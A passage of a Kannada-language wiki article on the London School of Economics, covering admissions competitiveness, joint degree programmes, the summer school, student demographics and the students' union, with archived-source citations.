[[ಕೇಂಬ್ರಿಡ್ಜ್‌‌‌‌‌‌‌‌‌‌‌ ವಿಶ್ವವಿದ್ಯಾನಿಲಯ|ಕೇಂಬ್ರಿಡ್ಜ್ ವಿಶ್ವವಿದ್ಯಾನಿಲಯ]]ವಾಗಿದೆ. ಮಾನವಶಾಸ್ತ್ರ, ಅಪರಾಧಶಾಸ್ತ್ರ, ಅಂತರಾಷ್ಟ್ರೀಯ ಸಂಬಂಧಗಳು, ಸಾಮಾಜಿಕ ಮನಶಾಸ್ತ್ರ, ಸಾಮಾಜಿಕಶಾಸ್ತ್ರ ಮತ್ತು ಸಾಮಾಜಿಕ ನೀತಿಗಳು ಎಲ್‌ಎಸ್ಇಯು ಪ್ರವರ್ತಕವಾಗಿರುವ ಇತರ ವಿಷಯಗಳಾಗಿವೆ.<ref name="autogenerated2">[http://www.thegooduniversityguide.org.uk/single.htm?ipg=6543 thegooduniversityguide]{{Dead link|date=April 2010}}</ref> ಪಠ್ಯಕ್ರಮಗಳನ್ನು ಮೂವತ್ತಕ್ಕೂ ಹೆಚ್ಚು ಸಂಶೋಧನಾ ಕೇಂದ್ರಗಳು ಮತ್ತು ಹತ್ತೊಂಬತ್ತು ವಿಭಾಗಗಳು, ಜೊತೆಗೆ ಒಂದು ಭಾಷಾ ಕೇಂದ್ರದಾದ್ಯಂತ ವಿಭಜಿಸಲಾಗಿದೆ.<ref>{{cite web |url=http://www.lse.ac.uk/Depts/language/ |title=LSE Language Centre |publisher=Lse.ac.uk |date=2010-03-15 |accessdate=2010-04-26 |archive-date=2009-05-02 |archive-url=https://web.archive.org/web/20090502163429/http://www.lse.ac.uk/Depts/language/ |url-status=dead }}</ref> ವಿಷಯಕ್ರಮಗಳು ಸಾಮಾಜಿಕ ವಿಜ್ಞಾನಗಳ ವ್ಯಾಪ್ತಿಯೊಳಗಿರುವುದರಿಂದ, ಅವುಗಳು ಪರಸ್ಪರ ಬಹುಪಾಲು ಒಂದೇ ತೆರನಾಗಿರುತ್ತದೆ, ಮತ್ತು ಪದವಿಪೂರ್ವ ವಿದ್ಯಾರ್ಥಿಗಳು ಸಾಮಾನ್ಯವಾಗಿ ತಮ್ಮ ಮೊದಲನೇ ಮತ್ತು ದ್ವಿತೀಯ ವರ್ಷಗಳ ಅಧ್ಯಯನಕ್ಕಾಗಿ ತಮ್ಮ ಪದವಿಯ ಹೊರತಾಗಿ ಕನಿಷ್ಠ ಒಂದು ಪಠ್ಯಕ್ರಮದ ಘಟಕವನ್ನು ತೆಗೆದುಕೊಳ್ಳುವ ಮೂಲಕ ಸಾಮಾಜಿಕ ವಿಜ್ಞಾನದಲ್ಲಿ ವ್ಯಾಪಕ ಶಿಕ್ಷಣವನ್ನು ಉತ್ತೇಜಿಸುತ್ತಾರೆ. ಪದವಿಪೂರ್ವದ ಹಂತದಲ್ಲಿ, ಕೆಲವು ವಿಭಾಗಗಳು ತೀರಾ ಚಿಕ್ಕದಾಗಿದ್ದು (ಮೂರ ವರ್ಷಗಳ ಅಧ್ಯಯನದಾದ್ಯಂತ 90 ವಿದ್ಯಾರ್ಥಿಗಳು), ಕಡಿಮೆ ಪ್ರಮಾಣದ ಭೋದನೆ ಗಾತ್ರಗಳು ಮತ್ತು ಇತರ ಸಂಸ್ಥೆಗಳಿಗೆ ಹೋಲಿಸಿದರೆ ಕಲಿಕೆಯ ತಕ್ಕ ಮಾರ್ಗದಲ್ಲಿ ಹೆಚ್ಚು ನೈಪುಣ್ಯವನ್ನು ಖಾತ್ರಿ ಪಡಿಸಿಕೊಳ್ಳಲಾಗುತ್ತದೆ. ಎಲ್‌ಎಸ್ಇಗೆ ಪ್ರವೇಶವು ತೀರಾ ಸ್ಪರ್ಧಾತ್ಮಕವಾಗಿರುತ್ತದೆ. ೨೦೦೮ ರ ಯುಸಿಎಎಸ್ ಅಂಕಿಅಶಗಳ ಪ್ರಕಾರ, ಶಾಲೆಯು ೧೨೯೯ ಸ್ಥಾನಗಳಿಗೆ ೧೯,೦೩೯ ಅರ್ಜಿಗಳನ್ನು ಸ್ವೀಕರಿಸಿದೆ. ಇದರರ್ಥ ಪ್ರತಿ ಸ್ಥಾನಕ್ಕೆ 15 ಅಭ್ಯರ್ಥಿಗಳು ಸ್ಪರ್ಧಿಸುತ್ತಿದ್ದು, ಇದು ಬ್ರಿಟನ್‌ನ ಯಾವುದೇ ವಿಶ್ವವಿದ್ಯಾನಿಲಯಗಳಿಗೆ ಹೋಲಿಸಿದರೆ ಅತೀ ಹೆಚ್ಚಿನ ಪ್ರಮಾಣವಾಗಿದೆ. ಸರ್ಕಾರಿ, ಅರ್ಥಶಾಸ್ತ್ರ ಮತ್ತು ಅಂತರಾಷ್ಟ್ರೀಯ ಸಂಬಂಧಗಳನ್ನು ಒಳಗೊಂಡು ಕೆಲವೊಂದು ಪಠ್ಯಕ್ರಮಗಳಲ್ಲಿ ಪ್ರತಿಯೊಂದು ಸ್ಥಾನಕ್ಕೆ 20 ಕ್ಕೂ ಹೆಚ್ಚು ಅಭ್ಯರ್ಥಿಗಳಿರುವ ಮೂಲಕ ಪ್ರವೇಶ ಪ್ರಮಾಣವು ಸುಮಾರು 5% ದಷ್ಟಾಗಿದೆ.<ref name="ReferenceC" /><ref name="autogenerated3" /><ref>{{cite web |url=http://www2.lse.ac.uk/undergraduateProspectus2010/courses/Economics/L1V3.aspx |title=Undergraduate - Undergraduate - Study - Home |publisher=.lse.ac.uk |date= |accessdate=2010-04-26 |archive-date=2009-05-15 |archive-url=https://web.archive.org/web/20090515110705/http://www2.lse.ac.uk/undergraduateProspectus2010/courses/Economics/L1V3.aspx |url-status=dead }}</ref> ಈ ಪ್ರಕಾರವಾಗಿ, ಹಲವು ಪಠ್ಯಕ್ರಮಗಳು ಐವಿ ಲೀಗ್ ವಿಶ್ವವಿದ್ಯಾನಿಲಯಗಳಾದ ಹಾರ್ವರ್ಡ್, ಯೇಲ್, ಮತ್ತು ಪ್ರಿನ್ಸ್‌ಟನ್ ಗಳ ಪ್ರವೇಶದ ಗಳಿಕೆಯಾದ 7-9 ಶೇಕಡಾ ಮೀರುವುದರ ಮೂಲಕ ಪದವಿಪೂರ್ವ ಹಂತದಲ್ಲಿ ಎಲ್‌ಎಸ್‌ಇಯು ವಿಶ್ವದ ಅತೀ ಹೆಚ್ಚು ಆಯ್ಕೆಯ ವಿಶ್ವವಿದ್ಯಾನಿಲಯಗಳಲ್ಲಿ ಒಂದಾಗಿದೆ. ಹೆಚ್ಚಿನ ವಿಷಯಕ್ರಮಗಳನ್ನು A-ಹಂತದ A*AA-AAB ನ ಪ್ರಾತಿನಿಧಿಕವಾದ ಅವಕಾಶವನ್ನು ಒದಗಿಸುತ್ತದೆ. ಸ್ನಾತಕೋತ್ತರ ವಿದ್ಯಾರ್ಥಿಗಳಿಗೂ ಸಹ ಪ್ರವೇಶಾತಿ ಮಾನದಂಡಗಳು ಉನ್ನತ ಗುಣಮಟ್ಟದ್ದಾಗಿದ್ದು, ಅವರು (ಸ್ನಾತಕೋತ್ತರ ಪಠ್ಯಕ್ರಮಗಳಿಗೆ) ಮೊದಲ ದರ್ಜೆಯನ್ನು ಅಥವಾ ಉತ್ತಮ ಹಿರಿಯ ದ್ವಿತೀಯ ದರ್ಜೆ ಯುಕೆ ಆನರ್ಸ್ ಪದವಿಯಯನ್ನು ಅಥವಾ ಅದರ ವಿದೇಶೀ ಸಮಾನವನ್ನು ಪಡೆದುಕೊಂಡಿರಬೇಕು.<ref>{{Cite web |url=http://www.lse.ac.uk/resources/graduateProspectus2006/entryRequirementsAndApplicationProcess/entryRequirements.htm |title=ಆರ್ಕೈವ್ ನಕಲು |access-date=2010-10-08 |archive-date=2006-11-08 |archive-url=https://web.archive.org/web/20061108163015/http://www.lse.ac.uk/resources/graduateProspectus2006/entryRequirementsAndApplicationProcess/entryRequirements.htm |url-status=dead }}</ref> ಎಲ್ಎಸ್ಇಯ ಸ್ನಾತಕೋತ್ತರ-ಪದವಿ ಪಠ್ಯಕ್ರಮಗಳನ್ನು ಉತ್ತಮ ದರ್ಜೆ ಮತ್ತು ವೆಚ್ಚಕ್ಕೆ ಸಂಬಂಧಿಸಿದಂತೆ ಡೋಲೆಕ್ &amp; ಗ್ಯಾಬ್ಬನಾ ಗೆ ಸಮಾನವಾಗಿದೆ ಎಂದು ದಿ ಇಂಡೆಪೆಂಡೆಂಟ್ ವಿವರಿಸುತ್ತದೆ.<ref>{{cite news| url=http://www.independent.co.uk/student/postgraduate/tuition-fees-why-the-lse-leads-the-pack-424422.html | location=London | work=The Independent | title=Tuition fees: Why the LSE leads the pack | date=2006-11-16}}</ref> ಅರ್ಥಶಾಸ್ತ್ರ ಮತ್ತು ಅಂತರಾಷ್ಟ್ರೀಯ ಸಂಬಂಧಗಳನ್ನು ಒಳಗೊಂಡು ಬಹುತೇಕ ಪ್ರಮುಖ ವಿಷಯಕ್ರಮಗಳು ಸತತವಾಗಿ ಮಾನ್ಯತೆ ದರದ ಪ್ರಮಾಣವನ್ನು 10% ಕ್ಕಿಂತ ಕಡಿಮೆ ಹೊಂದಿದ್ದರೂ, ಸ್ನಾತಕೋತ್ತರ ವಿಷಯಕ್ರಮಗಳಿಗೆ ಅರ್ಜಿಯ ಯಶಸ್ಸಿನ ಪ್ರಮಾಣವು ಭಿನ್ನವಾಗಿರುತ್ತದೆ.<ref name="thegooduniversityguide.org.uk">{{Cite web |url=http://www.thegooduniversityguide.org.uk/universities/university.php?ins=London%20School%20of%20Economics |title=ಆರ್ಕೈವ್ ನಕಲು |access-date=2010-10-08 |archive-date=2007-09-28 |archive-url=https://web.archive.org/web/20070928011017/http://www.thegooduniversityguide.org.uk/universities/university.php?ins=London+School+of+Economics |url-status=dead }}</ref> ಪೂರ್ಣಾವಧಿಯ ಎಮ್‌ಎಸ್ಸಿ ಆರ್ಥಿಕ ಮತ್ತು ಎಮ್‌ಎಸ್ಸಿ ಆರ್ಥಿಕ ಗಣಿತದಂತಹ ಕೆಲವು ಅತೀ ಪ್ರಮುಖ ವಿಷಯಕ್ರಮಗಳು ಪ್ರವೇಶದ ದರವನ್ನು 3% ಕ್ಕಿಂತ ಕಡಿಮೆ ಹೊಂದಿದೆ.<ref>{{cite web |url=http://www2.lse.ac.uk/graduateProspectus2010/taughtProgrammes/MScFinance_(fulltime).aspx |title=MSc Finance (full-time) - Taught programmes - Graduate Prospectus for entry in 2010 - Home |publisher=.lse.ac.uk |date=2010-02-19 |accessdate=2010-04-26 |archive-date=2010-04-30 |archive-url=https://web.archive.org/web/20100430173226/http://www2.lse.ac.uk/graduateProspectus2010/taughtProgrammes/MScFinance_(fulltime).aspx |url-status=dead }}</ref><ref>{{cite web |url=http://www2.lse.ac.uk/graduateProspectus2010/taughtProgrammes/MScFinancialMathematics.aspx |title=MSc Financial Mathematics - Taught programmes - Graduate Prospectus for entry in 2010 - Home |publisher=.lse.ac.uk |date=2009-11-27 |accessdate=2010-04-26 |archive-date=2009-09-27 |archive-url=https://web.archive.org/web/20090927101100/http://www2.lse.ac.uk/graduateProspectus2010/taughtProgrammes/MScFinancialMathematics.aspx |url-status=dead }}</ref> ಆದರೆ, ಹೆಚ್ಚುವರಿ ಭೋದನ ವಿಭಾಗದ ಕಟ್ಟಡಗಳನ್ನು ಖರೀದಿಸುವ ಮೂಲಕ ನೀಡಲಾಗುವ ಪದವಿ ಸ್ಥಾನಗಳ ಸಂಖ್ಯೆಯನ್ನು ಹೆಚ್ಚಿಸಲು ಎಲ್‌ಎಸ್‌ಇ ಯೋಜಿಸಿದೆ.<ref>{{Cite web |url=http://www.thegooduniversityguide.org.uk/universities/university.php?inondon%20School%20of%20Economics |title=ಆರ್ಕೈವ್ ನಕಲು |access-date=2010-10-08 |archive-date=2007-09-28 |archive-url=https://web.archive.org/web/20070928011025/http://www.thegooduniversityguide.org.uk/universities/university.php?inondon%20School%20of%20Economics |url-status=dead }}</ref> [[File:HoughtonStreet.jpg|thumb|right|ಹೌಟನ್ ಸ್ಟ್ರೀಟ್, ಎಲ್ಎಸ್ಇ ಕ್ಯಾಂಪಸ್‌ನ ಕೇಂದ್ರ]] ಎಲ್‌ಎಲ್‌ಸಿಯು ಜಂಟಿ ಪದವಿಗಳನ್ನು ನೀಡುತ್ತಿರುವ ನ್ಯೂಯಾರ್ಕಿನ ಕೊಲಂಬಿಯ ವಿಶ್ವವಿದ್ಯಾನಿಲಯ, ಪೆಕಿಂಗ್ ವಿಶ್ವವಿದ್ಯಾನಿಲಯ ಮತ್ತು ಸೈನ್ಸಸ್ ಪೋ ಪ್ಯಾರಿಸ್ಗಳೊಡನೆ ಶಿಕ್ಷಣ ಮತ್ತು ಸಂಶೋಧನೆಗಳಲ್ಲಿ ವ್ಯಾಪಕವಾದ ಪಾಲುದಾರಿಕೆಯನ್ನು ಹೊಂದಿದೆ. ಉದಾಹರಣೆಗಾಗಿ, ಅತೀ ಉತ್ತಮ ದರ್ಜೆಯ ಅಂತರಾಷ್ಟ್ರೀಯ ಇತಿಹಾಸ ವಿಭಾಗವು ಕೊಲಂಬಿಯ ವಿಶ್ವವಿದ್ಯಾನಿಲಯದೊಡನೆ ಅಂತರಾಷ್ಟ್ರೀಯ ಮತ್ತು ವಿಶ್ವ ಇತಿಹಾಸದಲ್ಲಿ ಜಂಟಿ ಎಂಎ ಅನ್ನು ಮತ್ತು ಪೆಕಿಂಗ್ ವಿಶ್ವವಿದ್ಯಾನಿಲಯದೊಡನೆ ಅಂತರಾಷ್ಟ್ರೀಯ ವ್ಯವಹಾರಗಳಲ್ಲಿ ಎಂಎಸ್ಸಿ ಅನ್ನು ಒದಗಿಸುತ್ತಿರುವುದರ ಜೊತೆಗೆ ಪದವೀಧರರು ಎರಡೂ ವಿಶ್ವವಿದ್ಯಾನಿಲಯಗಳಿಂದ ಪದವಿಗಳನ್ನು ಪಡೆಯುತ್ತಾರೆ.<ref>{{cite web |url=http://www2.lse.ac.uk/internationalHistory/degrees/masters/Home.aspx |title=Masters Programmes - Masters Programmes - Programmes and courses - International History - Home |publisher=.lse.ac.uk |date=2009-05-15 |accessdate=2010-04-26 |archive-date=2010-01-03 |archive-url=https://web.archive.org/web/20100103095145/http://www2.lse.ac.uk/internationalHistory/degrees/masters/Home.aspx |url-status=dead }}</ref> ಇತರ ವಿಶ್ವವಿದ್ಯಾನಿಲಯಗಳೊಡನೆ ಎಲ್‌ಎಲ್‌ಸಿಯು ಜಂಟಿ ಪದವಿಗಳನ್ನು ಸಹ ನೀಡುತ್ತಿದೆ. ಅದು ನ್ಯೂಯಾರ್ಕ್ ವಿಶ್ವವಿದ್ಯಾನಿಲಯದ ಸ್ಟರ್ನ್ ಸ್ಕೂಲ್ ಆಫ್ ಬ್ಯುಸಿನೆಸ್ ಮತ್ತು ಪ್ಯಾರಿಸ್‌ನ ಹೆಚ್ಇಸಿ ಸ್ಕೂಲ್ ಆಫ್ ಮ್ಯಾನೇಜ್‌ಮೆಂಟ್ ನೊಂದಿಗೆ ಸಹಯೋಗದಲ್ಲಿ ಟ್ರಿಯಮ್ ಗ್ಲೋಬಲ್ ಎಕ್ಸಿಕ್ಯೂಟಿವ್ ಎಂಬಿಎ ಪಠ್ಯಕ್ರಮ<ref>{{cite web|url=http://www.triumemba.org/ |title=TRIUM Global Executive MBA, top ranked alliance of NYU Stern, LSE and HEC Paris |publisher=Triumemba.org |date= |accessdate=2010-04-26}}</ref> ವನ್ನು ನೀಡುತ್ತದೆ. ಅದನ್ನು ಆರು ಘಟಕಗಳಾಗಿ ವಿಭಾಗಿಸಲಾಗಿದ್ದು, ೧೬ ತಿಂಗಳ ಕಾಲಾವಧಿಯವರೆಗೆ ಐದು ಅಂತರಾಷ್ಟ್ರೀಯ ವ್ಯವಹಾರ ಕೇಂದ್ರಗಳಲ್ಲಿ ಜರುಗುತ್ತದೆ. ಎಲ್‌ಎಸ್‌ಸಿಯು [http://mpa.sciences-po.fr/ ಸೈನ್ಸಸ್ ಪೋ ಪ್ಯಾರಿಸ್], ಹರ್ಟೈಲ್ ಸ್ಕೂಲ್ ಆಫ್ ಗರ್ವನೆನ್ಸ್ ಮತ್ತು ನ್ಯಾಷನಲ್ ಯೂನಿವರ್ಸಿಟಿ ಆಫ್ ಸಿಂಗಾಪುರ್ ನಂತಹ ಗ್ಲೋಬಲ್ ಪಬ್ಲಿಕ್ ಪಾಲಿಸಿ ನೆಟ್‌ವರ್ಕ್ ಶಾಲೆಗಳೊಂದಿಗೆ ಉಭಯ ಮಾಸ್ಟರ್ ಆಫ್ ಪಬ್ಲಿಕ್ ಅಡ್ಮಿನಿಸ್ಟ್ರೇಶನ್ (ಎಂಪಿಎ) ಅನ್ನು ನೀಡುತ್ತದೆ. ಹಾಗೆಯೇ ಶಾಲೆಯು ರಾಜಕೀಯ ಶಾಸ್ತ್ರದಲ್ಲಿ ಯೂನಿರ್ವಸಿಟಿ ಆಫ್ ಕ್ಯಾಲಿಫೋರ್ನಿಯಾ, ಬರ್ಕಲಿ ಯೊಂದಿಗಿನ ಅದರ ಇಂಟರ್‌ನ್ಯಾಶನಲ್ ಮ್ಯಾನೇಜ್‌ಮೆಂಟ್ ಮತ್ತು ಪದವಿಪೂರ್ವ ವಿದ್ಯಾರ್ಥಿ ವಿನಿಮಯ ಕಾರ್ಯಕ್ರಮದ ಅಂಗವಾಗಿ ಯುನಿವರ್ಸಿಟಿ ಆಫ್ ಚಿಕಾಗೋ ಬೂಕ್ ಸ್ಕೂಲ್ ಆಫ್ ಬ್ಯುಸಿನೆಸ್, ಫುಕಾ ಸ್ಕೂಲ್ ಆಫ್ ಬ್ಯುಸಿನೆಸ್, ಕೆಲ್ಲೋಗ್ ಸ್ಕೂಲ್ ಆಫ್ ಮ್ಯಾನೇಜ್‌ಮೆಂಟ್, ಸ್ಟರ್ನ್ ಸ್ಕೂಲ್ ಆಫ್ ಬ್ಯುಸಿನೆಸ್ ಮತ್ತು ಯಾಲೆ ಸ್ಕೂಲ್ ಆಫ್ ಮ್ಯಾನೇಜ್‌ಮೆಂಟ್ ನೊಂದಿಗೆ ವಿನಿಮಯ ಕಾರ್ಯಕ್ರಮಗಳನ್ನೂ ಸಹ ನಡೆಸುತ್ತದೆ.<ref>{{cite web |url=http://www.lse.ac.uk/collections/MES/programmes/mastersProgrammes/imex/Default.htm |title=IMEX programme |publisher=Lse.ac.uk |date= |accessdate=2010-04-26 |archive-date=2009-02-03 |archive-url=https://web.archive.org/web/20090203064100/http://www.lse.ac.uk/collections/MES/programmes/mastersProgrammes/imex/Default.htm |url-status=dead }}</ref> ಎಲ್‌ಎಸ್ಇ ಬೇಸಿಗೆ ಶಾಲೆಯನ್ನು ೧೯೮೯ ರಲ್ಲಿ ಸ್ಥಾಪಿಸಲಾಯಿತು ಮತ್ತು ೨೦೦೬ ರಲ್ಲಿ ೩೦೦೦ ಕ್ಕೂ ಹೆಚ್ಚು ವಿದ್ಯಾರ್ಥಿಗಳೊಡನೆ ಅದನ್ನು ವ್ಯಾಪಕವಾಗಿ ವಿಸ್ತರಿಸಲಾಯಿತು. ಲೆಕ್ಕಶಾಸ್ತ್ರ, ಹಣಕಾಸು, ಕಾನೂನು, ಅಂತರಾಷ್ಟ್ರೀಯ ಸಂಬಂಧಗಳು ಮತ್ತು ಮ್ಯಾನೇಜ್‌ಮೆಂಟ್ ವಿಭಾಗಗಳಿಂದ ನಿಯಮಿತ ಪದವಿಪೂರ್ವ ಪಠ್ಯಕ್ರಮಗಳನ್ನು ಆಧರಿಸಿ 50 ಕ್ಕೂ ಹೆಚ್ಚು ವಿಷಯಗಳನ್ನು ಬೇಸಿಗೆ ಶಾಲೆಯು ನೀಡುತ್ತಿದೆ, ಮತ್ತು ಪ್ರತಿ ವರ್ಷದ ಜುಲೈ ಮತ್ತು ಆಗಸ್ಟ್ ತಿಂಗಳಿನಲ್ಲಿ ಮೂರು ವಾರಗಳ ಎರಡು ಅವಧಿಗಳಲ್ಲಿ ಜರುಗುತ್ತದೆ. ಪರ್ಕಿಂಗ್ ವಿಶ್ವವಿದ್ಯಾನಿಲಯ ದ ಸಹಯೋಗದೊಂದಿಗೆ ಎಲ್ಎಸ್‌ಇಯು ಎಲ್ಎಸ್‌ಇ-ಪಿಕೆಯು ಬೇಸಿಗೆ ಶಾಲೆಯನ್ನೂ ಸಹ ನೀಡುತ್ತಿದೆ. ಎರಡೂ ಬೇಸಿಗೆ ಶಾಲೆಗಳಿಂದ ಪಠ್ಯಕ್ರಮಗಳನ್ನು ಇತರ ಶೈಕ್ಷಣಿಕ ಅರ್ಹತೆಗಳಿಗೆ ಹೆಚ್ಚುವರಿಯಾಗಿ ಬಳಸಬಹುದು, ಮತ್ತು ಕೆಲವು ಪಠ್ಯಕ್ರಮಗಳನ್ನು ಎಲ್ಎಸ್‌ಸಿ ಮಾಸ್ಟರ್ಸ್ ಪ್ರೋಗ್ರಾಂಗಳಿಗೆ ಷರತ್ತಿನ ನೀಡುವಿಕೆಯ ಭಾಗವಾಗಿ ತೆಗೆದುಕೊಳ್ಳಬಹುದು. 2007 ರಲ್ಲಿ ವಿಶ್ವದ ಪ್ರಮುಖ ಕಾಲೇಜುಗಳು ಮತ್ತು ವಿಶ್ವವಿದ್ಯಾನಿಲಯಗಳಿಂದ ಒಳಗೊಂಡು 100 ಕ್ಕೂ ಹೆಚ್ಚು ದೇಶಗಳಿಂದ ವಿದ್ಯಾರ್ಥಿಗಳನ್ನು ಜೊತೆಗೆ ಹಲವು ರಾಷ್ಟ್ರೀಯ ಬ್ಯಾಂಕುಗಳು ಮತ್ತು ಪ್ರಮುಖ ಹಣಕಾಸು ಸಂಸ್ಥೆಗಳಿಂದ ವೃತ್ತಿಪರರನ್ನು ಬೇಸಿಗೆ ಶಾಲೆಯು ಸೇರಿಸಿಕೊಂಡಿತು. ಪಠ್ಯಕ್ರಮದ ಜೊತೆಗೆ ಎಲ್‌ಎಸ್‌ಇ ಯಲ್ಲಿ ವಸತಿಯ ಅನುಕೂಲವೂ ಲಭ್ಯವಿದೆ, ಮತ್ತು ಬೇಸಿಗೆ ಶಾಲೆಯು ಅತಿಥಿ ಉಪನ್ಯಾಸ ಮತ್ತು ಸ್ವಾಗತ ಸಮಾರಂಭವೂ ಸೇರಿದಂತೆ ಪೂರ್ಣ ಸಾಮಾಜಿಕ ಕಾರ್ಯಕ್ರಮವನ್ನು ಒದಗಿಸುತ್ತದೆ.<ref>{{cite web |url=http://www.lse.ac.uk/collections/summerSchool/ |title=LSE Summer School - LSE Summer School - Summer schools - Study - Home |publisher=Lse.ac.uk |date=2010-04-08 |accessdate=2010-04-26 |archive-date=2008-02-16 |archive-url=https://web.archive.org/web/20080216001814/http://www.lse.ac.uk/collections/summerSchool/ |url-status=dead }}</ref> ಶಾಲೆಯು ಆಕ್ಸ್‌ಫರ್ಡ್, ಹಾರ್ವರ್ಡ್, ಯೇಲ್, ಚಿಕಾಗೋ, ಎನ್‌ವೈಯು, ಇಂಪೀರಿಯಲ್ ಕಾಲೇಜ್ ಮತ್ತು ಯುಸಿ ಬರ್ಕಲಿ ಯೊಂದಿಗೆ ಹಲವಾರು ಒಪ್ಪಂದಗಳನ್ನು ಮಾಡಿಕೊಂಡಿರುವದರ ಜೊತೆಗೆ ಔಪಚಾರಿಕವಾದ ಶೈಕ್ಷಣಿಕ ಒಪ್ಪಂದಗಳನ್ನು ಐದು ಅಂತರಾಷ್ಟ್ರೀಯ ವಿಶ್ವವಿದ್ಯಾನಿಲಯಗಳೊಂದಿಗೆ ಮಾಡಿಕೊಂಡಿದೆ, ಅವುಗಳೆಂದರೆ ಕೊಲಂಬಿಯಾ ವಿಶ್ವವಿದ್ಯಾನಿಲಯ (ನ್ಯೂಯಾರ್ಕ್ ನಗರ), ಸೈನ್ಸಸ್ ಪೋ (ಪ್ಯಾರಿಸ್), ಕೇಪ್‌ಟೌನ್ ವಿಶ್ವವಿದ್ಯಾನಿಲಯ, ಪರ್ಕಿಂಗ್ ವಿಶ್ವವಿದ್ಯಾನಿಲಯ (ಬೀಜಿಂಗ್) ಮತ್ತು ಸಿಂಗಾಪುರ್ ರಾಷ್ಟ್ರೀಯ ವಿಶ್ವವಿದ್ಯಾನಿಲಯ. == ವಿದ್ಯಾರ್ಥಿ ವರ್ಗ == ಶಾಲೆಯಲ್ಲಿ ಸುಮಾರು ೭೮೦೦ ಪೂರ್ಣಕಾಲಿಕ ವಿದ್ಯಾರ್ಥಿಗಳು ಮತ್ತು ಸುಮಾರು ೮೦೦ ಅರೆಕಾಲಿಕ ವಿದ್ಯಾರ್ಥಿಗಳಿದ್ದಾರೆ. ಇವರಲ್ಲಿ, ಸುಮಾರು 65% ವಿದ್ಯಾರ್ಥಿಗಳು [[ಯುನೈಟೆಡ್ ಕಿಂಗ್‍ಡಮ್|ಯುನೈಟೆಡ್ ಕಿಂಗ್‌ಡಮ್]]ನ ಹೊರಗಿನಿಂದ ಬಂದವರಾಗಿದ್ದಾರೆ. ಎಲ್‌ಎಸ್‌ಸಿಯು ವಿಶ್ವದಲ್ಲಿ ಅತೀ ಹೆಚ್ಚಿನ ಅಂತರಾಷ್ಟ್ರೀಯ ವಿದ್ಯಾರ್ಥಿ ವರ್ಗವನ್ನು ಹೊಂದಿದೆ,<ref name="london_156" /> ಒಂದು ಸಮಯದಲ್ಲಿ, ಎಲ್‌ಎಸ್‌ಇಯಲ್ಲಿ ವಿಶ್ವಸಂಸ್ಥೆ ಯಲ್ಲಿರುವುದಕ್ಕಿಂತ ಹೆಚ್ಚಿನ ರಾಷ್ಟ್ರಗಳ ವಿದ್ಯಾರ್ಥಿಗಳು ಪ್ರತಿನಿಧಿಸುತ್ತಿದ್ದರು.<ref name="ReferenceA" /> ಎಲ್‌ಎಸ್‌ಇಯ ಬಹುತೇಶ 64% ವಿದ್ಯಾರ್ಥಿಗಳು ಸ್ನಾತಕೋತ್ತರ ಪದವೀಧರರಾಗಿದ್ದಾರೆ,<ref name="ReferenceA" /> ಇದು ಇತರ ಬ್ರಿಟಿಷ್ ಸಂಸ್ಥೆಗಳಿಗೆ ಹೋಲಿಸಿದರೆ ಅಸಾಮಾನ್ಯವಾದ ಹೆಚ್ಚಿನ ಪ್ರಮಾಣವಾಗಿದೆ. 51% ಪುರುಷರು ಮತ್ತು 49% ಮಹಿಳಾ ವಿದ್ಯಾರ್ಥಿಗಳೊಡನೆ ವ್ಯತ್ಯಾಸವು ಸರಿಸುಮಾರಾಗಿ ಒಂದೇ ಆಗಿದೆ.<ref name="ReferenceA" /> == ವಿದ್ಯಾರ್ಥಿಗಳ ಒಕ್ಕೂಟ == {{Main|LSE Students' Union}} [[File:Student Union Blue.jpg|thumb|right|ಎಲ್ಎಸ್ಇ ಎಸ್‌ಯು ಲೋಗೋ]] ಎಲ್‌ಎಸ್ಇಯು ತನ್ನದೇ ಆದ ವಿದ್ಯಾರ್ಥಿ ಒಕ್ಕೂಟವಾದ (ಎಲ್‌ಎಸ್‌ಇಎಸ್‌ಯು) ಅನ್ನು ಹೊಂದಿದ್ದು, ಅದು ನ್ಯಾಷನಲ್ ಯೂನಿಯನ್ ಆಫ್ ಸ್ಟೂಡೆಂಟ್ಸ್ ಮತ್ತು ನ್ಯಾಷನಲ್ ಪೋಸ್ಟ್ ಗ್ರಾಜುಯೇಟ್ ಕಮಿಟಿಗೆ, ಅಲ್ಲದೇ ಯೂನಿವರ್ಸಿಟಿ ಆಫ್ ಲಂಡನ್ ಯೂನಿಯನ್ಗೆ ಸಂಯೋಜಿತವಾಗಿದೆ. ವಿದ್ಯಾರ್ಥಿಗಳ ಒಕ್ಕೂಟವನ್ನು ಆಗಾಗ್ಗೆ ಬ್ರಿಟನ್‌ನಲ್ಲಿ ರಾಜಕೀಯವಾಗಿ ಹೆಚ್ಚು ಸಕ್ರಿಯವೆಂದು ಪರಿಗಣಿಸಲಾಗಿದೆ - ಈ ಪ್ರಖ್ಯಾತಿಯನ್ನು ಅಂತರಾಷ್ಟ್ರೀಯವಾಗಿ ಹೆಸರು ಮಾಡಿದ 1966-67 ಮತ್ತು 1968–69 ರಲ್ಲಿ<ref>{{cite news |title=BBC website: LSE Student Protests |url=http://news.bbc.co.uk/1/hi/uk_politics/6299579.stm | date=2007-05-31 | accessdate=2010-01-06 | work=BBC News}}</ref><ref>{{cite news |title=BBC website: On This Day - LSE Student Protests |url=http://news.bbc.co.uk/onthisday/hi/dates/stories/march/13/newsid_2542000/2542639.stm | date=1967-03-13 | accessdate=2010-01-06 | work=BBC News}}</ref> ನಡೆದು ದಾಖಲಿಸಲಾದ ಎಲ್ಎಸ್‌ಇ ಗಲಭೆಯಾದಾಗಿನಿಂದ ಪಡೆದುಕೊಂಡಿದೆ. ಮನರಂಜನೆಯ ಕಾರ್ಯಕ್ರಮಗಳು ಮತ್ತು ವಿದ್ಯಾರ್ಥಿ ಸೊಸೈಟಿಯನ್ನು ಆಯೋಜಿಸುವುದು ಮತ್ತು ನಡೆಸುವುದು, ಹಾಗೆಯೇ ವಿದ್ಯಾರ್ಥಿಗಳ ಕ್ಷೇಮಾಭಿವೃದ್ಧಿ ಮತ್ತು ವಸತಿ ಹಾಗೂ ಇತರ ವಿಷಯಗಳಿಗೆ ಸಂಬಂಧಿಸಿದ ಸಮಸ್ಯೆಗಳನ್ನು ಪರಿಹರಿಸುವುದಕ್ಕೆ ಒಕ್ಕೂಟವು ಜವಾಬ್ದಾರಿಯಾಗಿದೆ. 2010 ರವರೆಗೆ, 200 ಸೊಸೈಟಿಗಳು, 40 ಕ್ರೀಡಾ ಕ್ಲಬ್‌ಗಳು, ರೈಸಿಂಗ್ ಎಂಡ್ ಗೀವಿಂಗ್ (ಆರ್ಎಜಿ) 